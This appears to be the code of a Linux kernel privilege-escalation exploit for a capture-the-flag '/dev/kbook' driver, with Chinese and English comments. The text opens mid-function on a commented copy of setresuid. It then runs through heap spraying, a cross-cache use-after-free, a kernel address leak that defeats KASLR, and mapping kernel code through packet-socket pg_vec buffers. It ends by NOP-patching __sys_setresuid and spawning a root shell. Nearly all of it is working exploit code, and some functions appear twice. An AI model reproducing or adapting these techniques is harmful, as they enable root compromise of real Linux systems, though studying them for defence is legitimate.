        return -EPERM;                                  // 返回权限错误

    // 准备新的凭证结构
    new = prepare_creds();                              // 准备新凭证
    if (!new)                                           // 检查分配是否成功
        return -ENOMEM;                                 // 内存不足，返回错误

    // 设置新的UID
    if (ruid != (uid_t) -1) {                           // 设置真实UID
        new->uid = kruid;                               // 设置新真实UID
        if (!uid_eq(kruid, old->uid)) {                 // 检查真实UID是否变化
            retval = set_user(new);                     // 更新用户信息
            if (retval < 0)                             // 检查是否成功
                goto error;                             // 失败，跳转到错误处理
        }
    }
    if (euid != (uid_t) -1)                             // 设置有效UID
        new->euid = keuid;                              // 设置新有效UID
    if (suid != (uid_t) -1)                             // 设置保存的UID
        new->suid = ksuid;                              // 设置新保存的UID
    new->fsuid = new->euid;                             // 设置文件系统UID

    // 安全模块回调
    retval = security_task_fix_setuid(new, old, LSM_SETID_RES); // 调用安全模块
    if (retval < 0)                                     // 检查安全模块结果
        goto error;                                     // 失败，跳转到错误处理

    // 设置用户计数
    retval = set_cred_ucounts(new);                     // 更新用户计数
    if (retval < 0)                                     // 检查是否成功
        goto error;                                     // 失败，跳转到错误处理

    // 检查进程数限制
    flag_nproc_exceeded(new);                           // 检查进程数是否超限
    return commit_creds(new);                           // 提交新凭证，返回成功

error:                                                  // 错误处理标签
    abort_creds(new);                                   // 中止凭证更改
    return retval;                                      // 返回错误代码
}

// 计算映射区域大小
size_t map_size = req.tp_block_size * req.tp_block_nr;  // 映射总大小，通常为4096字节

// 建立用户空间内存映射
void *mapped_addr = mmap(NULL,                          // 映射起始地址，NULL表示由系统选择
                         map_size,                      // 映射区域大小
                         PROT_READ | PROT_WRITE,        // 映射区域权限：可读可写
                         MAP_SHARED | MAP_LOCKED,       // 映射标志：共享映射，锁定在内存
                         packet_fd,                     // packet socket文件描述符
                         0);                            // 文件偏移量，必须为0

if (mapped_addr == MAP_FAILED) {                        // 检查映射是否成功
    perror("mmap操作失败");                              // 输出错误信息
    close(packet_fd);                                   // 关闭socket
    return -1;                                          // 返回错误代码
}

printf("成功映射内核内存到用户空间: %p\n", mapped_addr);  // 输出映射地址

// 计算目标函数在页面内的偏移
unsigned long target_func_addr = (unsigned long)&__sys_setresuid; // 目标函数地址
unsigned long target_page_addr = target_func_addr & ~(PAGE_SIZE - 1); // 页面对齐地址
unsigned long func_offset = target_func_addr - target_page_addr; // 计算页面内偏移

// 定位到目标内存位置
uint8_t *target_memory = (uint8_t *)mapped_addr + func_offset; // 目标内存地址

// 读取并分析原始指令
size_t read_size = 64;                                  // 读取64字节进行分析
uint8_t original_code[64];                              // 保存原始指令
for (size_t i = 0; i < read_size; i++) {                // 遍历读取
    original_code[i] = target_memory[i];                // 读取当前字节
    printf("%02x ", original_code[i]);                  // 输出十六进制
    if ((i + 1) % 16 == 0) printf("\n");                // 每16字节换行
}

// 分析关键指令位置（通过反汇编确定）
unsigned long patch_offset = 0x20;                      // 补丁偏移位置
uint8_t patch_bytes[] = {0x90, 0x90, 0x90, 0x90, 0x90}; // 5个NOP指令（x86架构）

// 保存原始字节以便恢复
uint8_t saved_bytes[sizeof(patch_bytes)];               // 保存原始指令
for (size_t i = 0; i < sizeof(patch_bytes); i++) {      // 遍历保存
    saved_bytes[i] = target_memory[patch_offset + i];   // 保存原始字节
}

// 应用补丁
for (size_t i = 0; i < sizeof(patch_bytes); i++) {      // 遍历修改
    target_memory[patch_offset + i] = patch_bytes[i];   // 写入NOP指令
}

// 功能验证示例
void verify_operation(void)
{
    uid_t original_uid = getuid();                       // 获取原始用户ID
    uid_t original_euid = geteuid();                     // 获取原始有效用户ID
    uid_t test_uid = 0;                                  // 测试用户ID

    printf("原始用户ID: %d, 原始有效用户ID: %d\n", original_uid, original_euid);

    // 测试setresuid系统调用
    if (setresuid(test_uid, test_uid, test_uid) == 0) {  // 尝试设置用户ID
        printf("setresuid操作成功！\n");                  // 输出成功信息
        printf("当前用户ID: %d, 当前有效用户ID: %d\n", getuid(), geteuid());

        // 验证权限
        if (geteuid() == 0) {                            // 检查权限
            printf("权限验证成功！\n");                  // 输出成功信息

            // 执行系统操作
            if (system("id") == 0) {                     // 执行id命令
                printf("系统命令执行成功\n");             // 输出成功信息
            }

            // 恢复原始UID
            if (setresuid(original_uid, original_uid, original_uid) == 0) {
                printf("已恢复原始用户ID\n");             // 输出恢复信息
            }
        }
    } else {                                            // 操作失败
        printf("操作未能完成: %s\n", strerror(errno));   // 显示错误信息
    }
}

// 恢复原始代码
void restore_original_code(uint8_t *target_memory, unsigned long patch_offset,
                          uint8_t *saved_bytes, size_t patch_size)
{
    for (size_t i = 0; i < patch_size; i++) {           // 遍历恢复
        target_memory[patch_offset + i] = saved_bytes[i]; // 恢复原始字节
    }

    printf("已恢复原始内核代码\n");                       // 输出恢复信息
}

/*==============================================================================
 *  KERNEL OFFSET CONSTANTS
 *============================================================================*/
#define KERNEL_MASK                  0xfffffffffffff000
#define __SYS_SETRESUID_OFFSET       0xffffffff81111110
#define USER_FREE_PAYLOAD_RCU_OFFSET 0xffffffff81683180

/*==============================================================================
 *  EXPLOIT CONFIGURATION
 *============================================================================*/
#define KEY_SPRAY_COUNT            199
#define PGV_SPRAY_COUNT            0x60
#define MAX_BOOKS                  0x20
#define MAX_PAGES_PER_BOOK         0x20
#define PATCH_SIZE                 0x10

/*==============================================================================
 *  GLOBAL EXPLOIT STATE
 *============================================================================*/
static int book_fds[MAX_BOOKS];
static int book_idx = -1;
static int page_idx = -1;
static int victim_key_id = -1;
static int key_ids[KEY_SPRAY_COUNT];
static size_t __sys_setresuid = 0;
static size_t original_pgvec_buffer = 0;  // Original pg_vec[i].buffer value
size_t payload[0x1000 / 8] = {0};
size_t leak_data[0x1000 / 8] = {0};

/*==============================================================================
 *  CHALLENGE DEVICE INTERFACE
 *============================================================================*/
#define CHOOSE_BOOK    0x114
#define SET_PAGE       0x514
#define DELETE_PAGE    0x1919810

static long kbook_choose_book(int fd, size_t idx) {
    return ioctl(fd, CHOOSE_BOOK, idx);
}

static long kbook_set_page(int fd, size_t idx) {
    return ioctl(fd, SET_PAGE, idx);
}

static long kbook_delete_page(int fd, size_t idx) {
    return ioctl(fd, DELETE_PAGE, idx);
}

/*==============================================================================
 *  EXPLOIT PHASE 1: ENVIRONMENT SETUP
 *============================================================================*/

/**
 * Initialize exploit environment
 * @return 0 on success, -1 on failure
 */
int phase_environment_bootstrap(void) {
    log.info("===========================================================");
    log.info("PHASE 1: ENVIRONMENT INITIALIZATION & DEVICE SETUP         ");
    log.info("===========================================================");

    log.info("Initializing CPU affinity and core binding");
    bind_core(0);

    log.info("Initializing PGV V3 system");
    if (pgv_init(PGV_PROTO_V3) < 0) {
        log.error("Failed to initialize PGV system");
        return -1;
    }

    log.info("Opening %d kbook device file descriptors", MAX_BOOKS);
    for (int i = 0; i < MAX_BOOKS; i++) {
        book_fds[i] = open("/dev/kbook", O_RDWR);
        if (book_fds[i] < 0) {
            log.error("Failed to open /dev/kbook device");
            return -1;
        }

        if (kbook_choose_book(book_fds[i], i) < 0) {
            log.error("kbook_choose_book ioctl failed for book index %d", i);
            return -1;
        }
    }

    log.success("Device initialization completed: %d file descriptors active", MAX_BOOKS);
    return 0;
}

/*==============================================================================
 *  EXPLOIT PHASE 2: HEAP FENGSHUI
 *============================================================================*/

/**
 * Perform heap shaping and establish UAF primitive
 * @return 0 on success, -1 on failure
 */
int phase_heap_fengshui(void) {
    log.info("===========================================================");
    log.info("PHASE 2: HEAP SHAPING & MEMORY LAYOUT MANIPULATION         ");
    log.info("===========================================================");

    log.info("Spraying order 2 pages via kbook device...");
    for (int i = 0; i < MAX_BOOKS; i++) {
        for (int j = 0; j < MAX_PAGES_PER_BOOK; j++) {
            if (kbook_set_page(book_fds[i], j) < 0) {
                log.error("kbook_set_page ioctl failed for book %d, page %d", i, j);
                return -1;
            }

            if (write(book_fds[i], "BinRacer", 8) < 0) {
                log.error("Failed to write marker to book %d", i);
                return -1;
            }
        }
    }

    log.success("Order 2 page spray completed: %d books with %d pages each", MAX_BOOKS, MAX_PAGES_PER_BOOK);

    log.info("Triggering Use-After-Free by freeing all order 2 pages...");
    for (int i = 0; i < MAX_BOOKS; i++) {
        for (int j = 0; j < MAX_PAGES_PER_BOOK; j++) {
            if (kbook_delete_page(book_fds[i], j) < 0) {
                log.error("kbook_delete_page failed for book %d, page %d", i, j);
                return -1;
            }
        }
    }

    log.info("Reclaiming freed pages as order 1 user_key_payload objects...");
    for (int i = 0; i < KEY_SPRAY_COUNT; i++) {
        // kmalloc-512 / order 1
        payload[0] = *(size_t*)"BinRacer";
        payload[1] = i;
        payload[2] = i;
        key_ids[i] = key_alloc("BinRacer", payload, 0x200 - 0x18);
        if (key_ids[i] < 0) {
            log.error("Failed to allocate key %d", i);
            return -1;
        }
    }

    log.info("Scanning for UAF overlap between kbook pages and user_key_payload objects...");
    for (int i = 0; i < MAX_BOOKS; i++) {
        for (int j = 0; j < MAX_PAGES_PER_BOOK; j++) {
            if (kbook_set_page(book_fds[i], j) < 0) {
                log.error("kbook_set_page failed for book %d, page %d", i, j);
                return -1;
            }

            memset(leak_data, 0, 0x30);
            if (read(book_fds[i], leak_data, 0x30) < 0) {
                log.error("read failed for book %d", i);
                continue;
            }

            // Detect user_key_payload structure overlap
            if (leak_data[0] != *(size_t *)"BinRacer" && leak_data[1] > kernel_base) {
                book_idx = i;
                page_idx = j;
                victim_key_id = leak_data[4];
                hex_dump2("Leaked user_key_payload structure from overlapping memory", leak_data, 0x30);
                log.success("UAF controlled via book[%d], page[%d]", book_idx, page_idx);
                log.success("Found victim key id %d", victim_key_id);
                goto uaf_found;
            }
        }
    }

uaf_found:
    if (book_idx < 0 || page_idx < 0) {
        log.error("Failed to establish UAF on user_key_payload object - heap layout failed");
        return -1;
    }

    kernel_offset = leak_data[1] - USER_FREE_PAYLOAD_RCU_OFFSET;
    kernel_base += kernel_offset;
    __sys_setresuid = kernel_offset + __SYS_SETRESUID_OFFSET;
    log.success("Leaked user_free_payload_rcu: 0x%lx", leak_data[1]);
    log.success("Leaked __sys_setresuid: 0x%lx", __sys_setresuid);
    log.success("Kernel base address: 0x%lx", kernel_base);
    log.success("Kernel ASLR offset delta: 0x%lx", kernel_offset);
    return 0;
}

/*==============================================================================
 *  EXPLOIT PHASE 3: PGV SPRAY
 *============================================================================*/

/**
 * Spray PGV pages to capture kernel code page
 * @return Slot index on success, -1 on failure
 */
int phase_pgv_spray(void) {
    struct pgv_config v3_cfg = {
        .proto_ver = PGV_PROTO_V3,
        .blk_size = 0x1000,
        .blk_count = 0x200 / 8,
        .frame_size = 2048,
        .priv_len = 0,
        .timeout = 1000 * 1000 * 1000,
    };

    log.info("===========================================================");
    log.info("PHASE 3: PGV PAGE SPRAY");
    log.info("===========================================================");

    // Free victim key to make space for PGV pages
    if (victim_key_id >= 0) {
        key_revoke(victim_key_id);
        key_unlink(victim_key_id);
    }

    usleep(2000000); // 2 second delay

    // Allocate PGV slots
    log.info("Allocating PGV slots");
    for (int i = 0; i < PGV_SPRAY_COUNT; i++) {
        if (pgv_alloc(i, &v3_cfg) < 0) {
            log.error("Failed to allocate PGV slot %d", i);
            return -1;
        }
    }

    usleep(2000000); // 2 second delay

    // Read the original pg_vec[i].buffer value from the corrupted user_key_payload
    // This preserves the original pointer to avoid kernel crashes after exploitation
    log.info("Reading original pg_vec[i].buffer value from corrupted user_key_payload");
    if (read(book_fds[book_idx], &original_pgvec_buffer, 0x8) < 0) {
        log.error("Failed to read original pg_vec[i].buffer value");
        return -1;
    }
    log.success("Original pg_vec[i].buffer value: 0x%lx", original_pgvec_buffer);

    // Trigger allocation of target kernel page by overwriting pg_vec[i].buffer
    // with the target kernel function address
    log.info("Overwriting pg_vec[i].buffer with target kernel function address");
    size_t target_addr = __sys_setresuid & KERNEL_MASK;
    if (write(book_fds[book_idx], &target_addr, 8) < 0) {
        log.error("Failed to write target address to pg_vec[i].buffer");
        return -1;
    }

    usleep(2000000); // 2 second delay

    // Map and search for target page
    log.info("Mapping PGV slots and searching for target kernel code page");
    for (int i = 0; i < PGV_SPRAY_COUNT; i++) {
        if (pgv_map(i, &v3_cfg) < 0) {
            log.error("Failed to map PGV slot %d", i);
            continue;
        }

        char buffer[8];
        if (pgv_read(i, 0, 8, buffer) != 8) {
            continue;
        }

        // Check for target page signature (kernel code page magic)
        if (*(uint64_t *)buffer == 0x00000001bafe894c) {
            log.success("Found target kernel code page at slot %d", i);
            return i; // Return slot index
        }
    }

    log.error("Failed to find target kernel code page in PGV slots");
    return -1;
}

/*==============================================================================
 *  EXPLOIT PHASE 4: KERNEL PATCHING
 *============================================================================*/

/**
 * Patch kernel code to bypass permission checks
 * @param slot_idx PGV slot containing target page
 * @return 0 on success, -1 on failure
 */
int phase_kernel_patching(int slot_idx) {
    log.info("===========================================================");
    log.info("PHASE 4: KERNEL CODE PATCHING");
    log.info("===========================================================");

    char patch_buffer[PATCH_SIZE];

    // Patch 1: Offset 0x152 (__sys_setresuid+66)
    // Original: check for capability
    // Patch: xor rax, rax; nop; nop
    char patch1[5] = {0x48, 0x31, 0xC0, 0x90, 0x90}; // xor rax, rax; nop; nop
    if (pgv_write(slot_idx, 0x152, 5, patch1) != 5) {
        log.error("Failed to apply patch 1 at offset 0x152");
        return -1;
    }
    log.success("Applied patch at offset 0x152");

    // Patch 2: Offset 0x160 (__sys_setresuid+80)
    char patch2[5] = {0x48, 0x31, 0xC0, 0x90, 0x90}; // xor rax, rax; nop; nop
    if (pgv_write(slot_idx, 0x160, 5, patch2) != 5) {
        log.error("Failed to apply patch 2 at offset 0x160");
        return -1;
    }
    log.success("Applied patch at offset 0x160");

    // Patch 3: Offset 0x16d (__sys_setresuid+93)
    char patch3[5] = {0x48, 0x31, 0xC0, 0x90, 0x90}; // xor rax, rax; nop; nop
    if (pgv_write(slot_idx, 0x16d, 5, patch3) != 5) {
        log.error("Failed to apply patch 3 at offset 0x16d");
        return -1;
    }
    log.success("Applied patch at offset 0x16d");

    // Patch 4: Offset 0x267 (__sys_setresuid+343)
    // Original: conditional jump
    // Patch: nop sled
    char patch4[6] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90}; // nop sled
    if (pgv_write(slot_idx, 0x267, 6, patch4) != 6) {
        log.error("Failed to apply patch 4 at offset 0x267");
        return -1;
    }
    log.success("Applied patch at offset 0x267");

    log.success("Kernel code patching completed successfully");
    return 0;
}

/*==============================================================================
 *  EXPLOIT PHASE 5: PRIVILEGE ESCALATION
 *============================================================================*/

/**
 * Restore original pg_vec[i].buffer and trigger privilege escalation
 * @return 0 on success, -1 on failure
 */
int phase_privilege_escalation(void) {
    log.info("===========================================================");
    log.info("PHASE 5: PRIVILEGE ESCALATION");
    log.info("===========================================================");

    // Restore original pg_vec[i].buffer value to avoid kernel crashes
    log.info("Restoring original pg_vec[i].buffer value");
    if (write(book_fds[book_idx], &original_pgvec_buffer, 8) < 0) {
        log.error("Failed to restore original pg_vec[i].buffer value");
        return -1;
    }
    log.success("Restored pg_vec[i].buffer to original value: 0x%lx", original_pgvec_buffer);

    // Trigger the patched setresuid function to gain root privileges
    log.info("Triggering setresuid(0, 0, 0) to gain root privileges");
    if (setresuid(0, 0, 0) < 0) {
        log.error("setresuid failed: %s", strerror(errno));
        return -1;
    }

    // Verify root privileges
    if (geteuid() == 0) {
        log.success("SUCCESS! Gained root privileges");
        log.success("Launching root shell...");
        get_root_shell();
        return 0;
    } else {
        log.error("Failed to gain root privileges");
        return -1;
    }
}

/*==============================================================================
 *  MAIN EXPLOIT FLOW
 *============================================================================*/

int main(void) {
    int target_slot = -1;

    // Set log level to INFO for normal operation
    set_log_level(LOG_LEVEL_INFO);

    // Phase 1: Environment setup
    if (phase_environment_bootstrap() < 0) {
        log.critical("Exploit initialization failed");
        return EXIT_FAILURE;
    }

    // Phase 2: Heap fengshui
    if (phase_heap_fengshui() < 0) {
        log.critical("Heap manipulation failed");
        return EXIT_FAILURE;
    }

    // Phase 3: PGV spray
    target_slot = phase_pgv_spray();
    if (target_slot < 0) {
        log.critical("PGV spray failed");
        return EXIT_FAILURE;
    }

    // Phase 4: Kernel patching
    if (phase_kernel_patching(target_slot) < 0) {
        log.critical("Kernel patching failed");
        return EXIT_FAILURE;
    }

    // Phase 5: Privilege escalation
    if (phase_privilege_escalation() < 0) {
        log.critical("Privilege escalation failed");
        return EXIT_FAILURE;
    }

    // Cleanup
    pgv_cleanup();

    return EXIT_SUCCESS;
}

int phase_environment_bootstrap(void) {
    /* 绑定CPU核心，减少多核环境下的操作干扰 */
    bind_core(0);

    /* 初始化PGV V3系统，为后续内存映射操作准备基础设施 */
    pgv_init(PGV_PROTO_V3);

    /* 打开kbook设备文件描述符，建立设备访问通道 */
    for (int i = 0; i < MAX_BOOKS; i++) {
        book_fds[i] = open("/dev/kbook", O_RDWR);
        /* 为每个文件描述符选择对应的书籍，建立独立的操作上下文 */
        kbook_choose_book(book_fds[i], i);
    }
    return 0;
}

#define CHOOSE_BOOK    0x114      // 选择书籍命令
#define SET_PAGE       0x514      // 设置页面命令
#define DELETE_PAGE    0x1919810  // 删除页面命令

int phase_heap_fengshui(void) {
    /* 步骤1: 分配kbook_jar对象，建立初始内存布局 */
    for (int i = 0; i < MAX_BOOKS; i++) {
        for (int j = 0; j < MAX_PAGES_PER_BOOK; j++) {
            kbook_set_page(book_fds[i], j);
            write(book_fds[i], "BinRacer", 8);  // 写入标记数据
        }
    }

    /* 步骤2: 释放所有kbook_jar对象，创建Use-After-Free条件 */
    for (int i = 0; i < MAX_BOOKS; i++) {
        for (int j = 0; j < MAX_PAGES_PER_BOOK; j++) {
            kbook_delete_page(book_fds[i], j);
        }
    }

    /* 步骤3: 分配user_key_payload对象，创建Cross-Cache UAF */
    for (int i = 0; i < KEY_SPRAY_COUNT; i++) {
        key_ids[i] = key_alloc("BinRacer", payload, 0x200 - 0x18);
    }

    /* 步骤4: 扫描内存重叠区域，识别user_key_payload对象 */
    for (int i = 0; i < MAX_BOOKS; i++) {
        for (int j = 0; j < MAX_PAGES_PER_BOOK; j++) {
            kbook_set_page(book_fds[i], j);
            read(book_fds[i], leak_data, 0x30);

            /* 检测user_key_payload结构特征并提取内核地址信息 */
            if (leak_data[0] != *(size_t *)"BinRacer" && leak_data[1] > kernel_base) {
                book_idx = i;
                page_idx = j;
                victim_key_id = leak_data[4];
                /* 计算内核地址信息，绕过KASLR保护 */
                kernel_offset = leak_data[1] - USER_FREE_PAYLOAD_RCU_OFFSET;
                __sys_setresuid = kernel_offset + __SYS_SETRESUID_OFFSET;
                goto uaf_found;
            }
        }
    }
uaf_found:
    return (book_idx >= 0 && page_idx >= 0) ? 0 : -1;
}